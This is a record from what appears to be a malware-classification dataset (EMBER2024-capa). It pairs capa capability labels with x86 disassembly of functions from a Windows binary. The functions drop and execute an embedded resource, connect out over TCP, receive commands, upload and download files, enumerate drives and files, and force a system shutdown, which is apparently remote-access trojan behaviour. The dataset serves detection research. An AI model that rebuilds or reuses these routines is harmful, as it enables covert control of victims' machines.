joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404810
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1000
call fcn.004097c0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x40f284
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
mov ebp, eax
push 2
push 0xffffffffffffffce
push ebp
call ebx
push ebp
push 0x32
lea edx, [esp + 0x82c]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x24
push 1
push 0xffffffffffffff9c
push ebp
call ebx
push ebp
push 0x32
lea eax, [esp + 0x24]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
mov al, byte [esp + 0x5d]
add esp, 0x1c
cmp al, 0xaa
jne 0x40490f
or ecx, 0xffffffff
mov edi, str.___
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x810]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x404862
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x814]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x1014]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
pop edi
dec ecx
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x1000
ret 4

Function at 0x404960
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x64
lea eax, [esp]
push esi
push edi
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x40f284
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push 2
push 0xffffffffffffffce
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 0x32
lea edx, [esp + 0x24]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x70]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov eax, ecx
pop esi
add esp, 0x64
ret 4
Function at 0x4049f0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
push 0x40f020
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x404a74
mov ecx, dword [esp + 0x14]
push 0x40f288
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x404a74
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x404a74
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404a60
push ebp
push 1
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
test esi, esi
pop ebx
jne 0x404a76
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x404a80
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x200
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x214]
lea ecx, [esp + 0x10c]
push 0xff
push ecx
push edx
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [esp + 0x10c]
push eax
call fcn.00403c10
lea edi, [esp + 0x110]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x214]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call fcn.004049f0
add esp, 0xc
lea edx, [esp + 0xc]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
cmp eax, 0x20
pop ebx
jg 0x404b45
push 5
push 0
lea eax, [esp + 8]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x404b45
xor eax, eax
add esp, 0x200
ret 8
mov eax, 1
add esp, 0x200
ret 8
Function at 0x406c60
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
mov ebx, ecx
push edi
xor eax, eax
push 0x200
mov dword [ebx + 0x1b8], eax
mov dword [ebx + 0x1c0], eax
mov dword [ebx + 0x1bc], eax
mov dword [ebx + 0x1c4], eax
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1b0], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov eax, dword [esp + 0x18]
or ecx, 0xffffffff
mov dword [ebx + 0x194], eax
mov edi, str.TheComputerOfTheGhost
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b4], edx
mov dword [ebx + 0x198], ecx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + 4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebx], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret 4

Function at 0x406d10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 8
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], 0xffffffff
jne 0x406d42
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x194], eax
jne 0x406d42
pop edi
or eax, 0xffffffff
pop esi
add esp, 8
ret 8
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x406d5a
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x406d5e
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x19c]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x1a0], eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x194]
push 0x10
push edi
push ecx
mov word [esi + 0x19e], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x406dae
pop edi
or eax, eax
pop esi
add esp, 8
ret 8
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 8]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x1c], 0x7530
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0xc]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x20], 0x7530
call edi
pop edi
xor eax, eax
pop esi
add esp, 8
ret 8
Function at 0x406e70
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
or eax, 0xffffffff
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], eax
je 0x406fa6
mov ecx, dword [esi + 0x198]
mov ebp, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [esp + 0x10]
mov ebx, 1
push eax
push 0x8004667e
push ecx
mov dword [esp + 0x1c], ebx
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x28]
lea edi, [eax + eax*4]
shl edi, 1
cmp edi, ebx
jl 0x406f16
mov edx, dword [esi + 0x198]
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0x1bc]
test eax, eax
je 0x406ee9
mov ecx, dword [esi + 0x1c4]
push ecx
call eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x406f00
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x406f16
cmp dword [esi + 0x1ac], 0xffffffff
jne 0x406f16
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jle 0x406ebf
mov eax, dword [esi + 0x198]
lea edx, [esp + 0x14]
push edx
xor edi, edi
push 0x8004667e
push eax
mov dword [esp + 0x20], edi
call ebp
mov eax, dword [esi + 0x1ac]
cmp eax, 0xffffffff
jne 0x406f46
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x14
ret 4
lea ecx, [esp + 0x18]
mov dword [esi + 0x194], eax
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x24], edi
call ebp
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x1c]
push 4
push edx
push 0x1006
mov ebx, 0x7530
push 0xffff
push eax
mov dword [esp + 0x30], ebx
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0x20]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x34], ebx
call edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x407080
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x408
mov al, byte [0x40f970]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esp + 0xc], al
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0xd]
mov edx, dword [esi + 0x194]
rep stosd dword es:[edi], eax
push 0
lea ecx, [esp + 0x10]
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x4071b4
mov al, byte [esp + 0xc]
mov bl, 0x3e
cmp al, bl
jne 0x4071b4
mov ecx, dword [esi + 0x194]
push 0
lea eax, [esp + 0x11]
push 1
push eax
push ecx
call edi
cmp eax, 1
jl 0x4071b4
cmp byte [esp + 0xd], bl
jne 0x4071b4
mov eax, dword [esi + 0x194]
push 0
lea edx, [esp + 0x12]
push 1
push edx
push eax
call edi
cmp eax, 1
jl 0x4071b4
mov edx, dword [esi + 0x194]
push 0
lea ecx, [esp + 0x13]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x4071b4
movsx ebx, byte [esp + 0xf]
mov eax, dword [esp + 0xe]
shl ebx, 8
and eax, 0xff
add ebx, eax
cmp ebx, 0x400
jg 0x4071b4
lea ecx, [ebx - 4]
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004076a0
mov eax, dword [esp + 0x418]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0xc]
mov edi, eax
push 0x40f678
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
mov byte [ebx + eax], 0
lea eax, [esp + 0x14]
push eax
call esi
push 0x40f678
push 0
call esi
push 0x40f678
push 0
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x408
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x408
ret 4

Function at 0x4071d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x410
mov eax, dword [esp + 0x414]
push edi
push 0x40f020
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [esp + 8], eax
test eax, eax
je 0x40728d
push ebx
mov ebx, dword [esp + 0x420]
push ebp
push esi
mov dword [esp + 0x10], ebx
xor ebp, ebp
cmp ebx, 0x400
mov eax, 0x400
jge 0x40721a
mov eax, ebx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, edi
call fcn.004076a0
mov esi, eax
test esi, esi
jle 0x40726a
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push 1
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [edi + 0x1b8]
add esp, 0x10
sub ebx, esi
add ebp, esi
test eax, eax
je 0x407260
mov ecx, dword [esp + 0x10]
mov edx, dword [edi + 0x1c0]
push ecx
push ebp
push edx
call eax
cmp ebx, 1
jl 0x40726a
cmp esi, 1
jge 0x40720b
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
pop ebx
jle 0x40728d
mov eax, dword [esp + 4]
pop edi
add esp, 0x410
ret 8
or eax, 0xffffffff
pop edi
add esp, 0x410
ret 8
Function at 0x4072a0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x40c
push ebx
push edi
push 0x40f0c8
mov ebx, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x40735a
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push edi
mov dword [esp + 0x2c], eax
call esi
add esp, 0x1c
xor ebp, ebp
push edi
push 0x400
lea ecx, [esp + 0x1c]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407318
lea edx, [esp + 0x14]
push esi
push edx
mov ecx, ebx
call fcn.00407630
mov esi, eax
mov eax, dword [ebx + 0x1b8]
add ebp, esi
test eax, eax
je 0x407333
mov ecx, dword [esp + 0x10]
mov edx, dword [ebx + 0x1c0]
push ecx
push ebp
push edx
call eax
cmp esi, 0x400
jge 0x4072ed
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
jle 0x40735a
mov eax, dword [esp + 8]
pop edi
pop ebx
add esp, 0x40c
ret 4
pop edi
or eax, 0xffffffff
pop ebx
add esp, 0x40c
ret 4
Function at 0x4073d0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x40ad08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x620
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea eax, [esp + 0x114]
push 0x104
push eax
push 0
mov dword [esp + 0x638], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], 0
mov eax, dword [esp + 0x640]
add esp, 8
test eax, eax
je 0x40743d
push 0x78
mov ecx, esi
call fcn.00406e70
lea edx, [esp + 0x21c]
mov ecx, esi
push edx
call fcn.00407080
test eax, eax
je 0x40759e
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
push ebx
push ebp
push edi
lea eax, [esp + 0x22c]
push 0x40f678
push eax
call esi
push 0x40f678
push 0
mov ebp, eax
call esi
push 0x40f678
push 0
mov ebx, eax
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [esp + 0x30], eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x34]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x40f970
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x660]
mov ecx, ebp
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
add esp, 0x24
test eax, eax
jne 0x407508
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x40f278
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40f970
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x644]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 8
test eax, eax
pop edi
pop ebp
pop ebx
je 0x407587
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x634]
push ecx
push edx
jmp 0x407591
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, dword [esp + 0xc]
call fcn.004071d0
mov esi, dword [esp + 4]
mov eax, dword [esp + 0x638]
test eax, eax
je 0x4075b0
mov ecx, esi
call fcn.00406e10
lea ecx, [esp + 0x634]
mov dword [esp + 0x62c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x624]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x62c
ret 8
Function at 0x4075f0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
lea eax, [esp]
lea edx, [esp + 4]
push eax
mov eax, dword [ecx + 0x194]
push edx
push eax
mov dword [esp + 0xc], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x18]
push eax
call fcn.00409342
add esp, 0x14
ret 4

Function at 0x407630
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
test esi, esi
push edi
mov ebx, ecx
jle 0x407685
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp esi, 0x200
jle 0x407665
mov eax, dword [ebx + 0x194]
push 0
push 0x200
push edi
push eax
jmp 0x407674
test esi, esi
jle 0x407689
mov ecx, dword [ebx + 0x194]
push 0
push esi
push edi
push ecx
call ebp
cmp eax, 1
jl 0x407689
sub esi, eax
add edi, eax
test esi, esi
jg 0x40764c
jmp 0x407689
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
cmp eax, 0xffffffff
pop ebx
jne 0x407697
or eax, eax
ret 8
mov eax, dword [esp + 8]
ret 8

Function at 0x4076a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
xor esi, esi
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
test eax, eax
jle 0x4076f1
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebx + 0x194]
push 0
lea eax, [esi + ebp]
push 1
push eax
push ecx
call edi
test eax, eax
je 0x4076fa
cmp eax, 0xffffffff
je 0x407703
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
jl 0x4076ce
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 8
Function at 0x408590
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x40aece
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
xor ebx, ebx
mov dword [esp + 0x24], ebx
call sub.MFC42.DLL_CString::CString_2
lea edi, [esi + 4]
mov byte [esp + 0x24], 1
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 8]
mov byte [esp + 0x24], 2
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::CString_2
push 0x40f970
mov ecx, esi
mov byte [esp + 0x28], 4
call fcn.00409342
push 0x40f970
mov ecx, ebp
call fcn.00409342
push 0x40f970
mov ecx, edi
call fcn.00409342
mov dword [esi + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [esp + 0x14], eax
mov ebp, 1
mov edi, 0x41
mov eax, dword [esp + 0x14]
test eax, ebp
je 0x408675
push edi
lea ecx, [esp + 0x14]
push str._c:_
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x1c]
add esp, 0xc
push edx
call ebx
push eax
push edi
push edi
lea eax, [esp + 0x1c]
push str.::0:_c:_c:_u_n
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00409372
inc dword [esi + 0xc]
shl ebp, 1
inc edi
cmp edi, 0x5a
jle 0x40862f
push ecx
lea edx, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call fcn.004093a8
mov ecx, esi
call fcn.004086d0
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x18
ret 4
Function at 0x4086d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x40af09
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push esi
push edi
mov esi, ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0x15c], 0
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x15c], 1
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 8]
mov byte [esp + 0x15c], 2
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x164]
lea ecx, [esp + 0xc]
push eax
push str._s.
push ecx
mov byte [esp + 0x168], 3
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x18]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4087ab
lea ecx, [esp + 8]
mov byte [esp + 0x15c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x15c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x15c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x164]
mov dword [esp + 0x15c], edi
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x4088d4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0x18], 0x10
je 0x40882f
cmp byte [esp + 0x44], 0x2e
je 0x4087f4
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
sub ecx, eax
lea edx, [esp + 0x148]
push ecx
lea eax, [esp + 0x48]
push edx
push eax
lea ecx, [esp + 0x18]
push str.::1:_s:_s:_ld_n
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea edx, [esp + 0xc]
lea ecx, [esi + 4]
push edx
jmp 0x408861
cmp byte [esp + 0x45], 0x2e
jne 0x408866
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
sub eax, edx
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0x48]
push ecx
push edx
lea eax, [esp + 0x18]
push str.::1:_s:_s:_ld_n
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esi + 4]
jmp 0x408861
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
sub edx, ecx
lea eax, [esp + 0x148]
push edx
lea ecx, [esp + 0x48]
push eax
push ecx
lea edx, [esp + 0x18]
push str.::2:_s:_s:_ld_n
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea eax, [esp + 0xc]
lea ecx, [esi + 8]
push eax
call fcn.00409372
mov ecx, dword [esi + 0xc]
inc ecx
mov dword [esi + 0xc], ecx
lea ecx, [esp + 0x18]
push ecx
push edi
call ebp
test eax, eax
jne 0x4087b2
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [esi + 0xc]
lea ecx, [esp + 0xc]
mov byte [esp + 0x160], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x160], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x160], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x168]
mov dword [esp + 0x160], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
pop ebp
mov ecx, dword [esp + 0x154]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x158
ret 4
Function at 0x408c90
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp + 0x18]
push 0
test eax, eax
je 0x408cf9
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret 4
push 0xc
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret 4